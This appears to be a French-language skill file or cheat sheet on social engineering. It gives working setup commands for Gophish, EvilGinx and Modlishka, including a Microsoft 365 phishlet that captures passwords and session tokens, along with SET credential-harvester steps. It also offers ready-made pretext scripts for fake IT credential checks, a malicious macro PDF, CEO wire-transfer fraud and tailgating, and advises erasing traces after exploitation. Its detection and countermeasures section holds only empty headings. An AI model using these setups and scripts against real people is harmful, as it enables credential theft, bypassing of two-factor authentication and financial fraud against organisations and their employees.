| name | social-engineering |
| description | Social Engineering — phishing, pretexting, vishing, OSINT pré-attaque, Gophish, EvilGinx, frameworks, et ingénierie sociale technique |
| tags | ["social-engineering","phishing","pretexting","vishing","OSINT","Gophish","EvilGinx","SE"] |
| version | 1 |
Social Engineering
Guide complet d'ingénierie sociale — de la reconnaissance à l'exploitation psychologique, phishing avancé, et contournement de la sécurité humaine.
1. Phases de l'Attaque SE
Phase 1 : OSINT (Reconnaissance)
theHarvester -d target.com -b linkedin,google,github
sherlock username
maigret username
holehe email@target.com
Phase 2 : Prétexting
# Créer un personnage crédible
# - IT support, new employee, vendor, partner
# - Utiliser les infos OSINT pour crédibilité
# - Appels téléphoniques (vishing) ou emails (phishing)
Phase 3 : Exécution
# - Déclencher l'action (clic, credential, transfert)
# - Capturer les données
# - Escalade si nécessaire
Phase 4 : Post-exploitation
# - Utiliser credentials pour pivoter
# - Maintenir accès
# - Effacer traces
2. Phishing Infrastructure
Gophish — Framework Phishing
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
cd gophish-v0.12.1-linux-64bit
nano config.json
./gophish
Email Spoofing & Delivery
dig TXT _dmarc.target.com
dig TXT target.com | grep spf
dig TXT google._domainkey.target.com
EvilGinx — Reverse Proxy
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make
./bin/evilginx -p phishlets/
cat > phishlets/microsoft.yaml << 'EOF'
name: 'microsoft'
author: 'kgretzky'
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: 'login', orig_sub: 'login', domain: 'microsoftonline.com', session: true}
- {phish_sub: 'www', orig_sub: 'www', domain: 'microsoft.com', session: false}
sub_filters:
- {hostname: 'login.microsoftonline.com', keyword: 'wp/', replace: 'wp/'}
- {hostname: 'login.microsoftonline.com', keyword: 'callback/', replace: 'callback/'}
auth_tokens:
- domain: 'login.microsoftonline.com'
keys: ['nonce', 'state', 'sessionid', 'code']
credentials:
- type: 'username'
selector: 'input[name="loginfmt"]'
- type: 'password'
selector: 'input[name="passwd"]'
login:
domain: 'login.microsoftonline.com'
auth_url: 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...'
EOF
evilginx> config domain yourdomain.com
evilginx> config ip YOUR_SERVER_IP
evilginx> phishlets hostname microsoft login.yourdomain.com
evilginx> phishlets geturl microsoft
evilginx> sessions
Modlishka (Proxy Phishing)
git clone https://github.com/drk1wi/Modlishka
cd Modlishka
make
./bin/Modlishka -config config.json
3. Vishing (Voice Phishing)
Deepfake Voice
Caller ID Spoofing
4. Phishing Kits
Microsoft 365 / Google Workspace
2FA Bypass Techniques
5. Pretexting Scénarios
IT Support
Persona : "John from IT Support"
Story : "We're updating the password policy for security compliance"
Action : "Please verify your current credentials at portal.company.com/verify"
Target : HR, finance, executives
Supplier/Vendor
Persona : "Jane from auditing firm"
Story : "Annual vendor compliance review"
Action : "Download the updated forms from our secure portal"
Attachment : Malicious PDF with macro
Executive Impersonation (CEO Fraud)
Persona : "CEO/President"
Story : "Urgent wire transfer needed for acquisition"
Action : "Transfer $50,000 to account XY, confirm by email"
Target : CFO, finance department
HR / Benefits
Persona : "HR Benefits Coordinator"
Story : "Open enrollment period — update your benefits"
Action : "Click link to login to benefits portal"
Target : All employees
6. Watering Hole Attack
7. Physical SE
Tailgating / Piggybacking
# Suivre un employé dans un bâtiment sécurisé
# - Avec les mains chargées (excuse classique)
# - "I forgot my badge"
# - Smoking area entrance
USB Drop Attack
8. Social Engineering Toolkit (SET)
git clone https://github.com/trustedsec/social-engineer-toolkit
cd set
python3 setup.py install
set> 1) Social-Engineering Attacks
set> 2) Website Attack Vectors
set> 3) Credential Harvester Attack Method
set> 4) Site Cloner
9. Détection et Contre-mesures
Blue Team : Détection Phishing
Tools de Détection
10. Ressources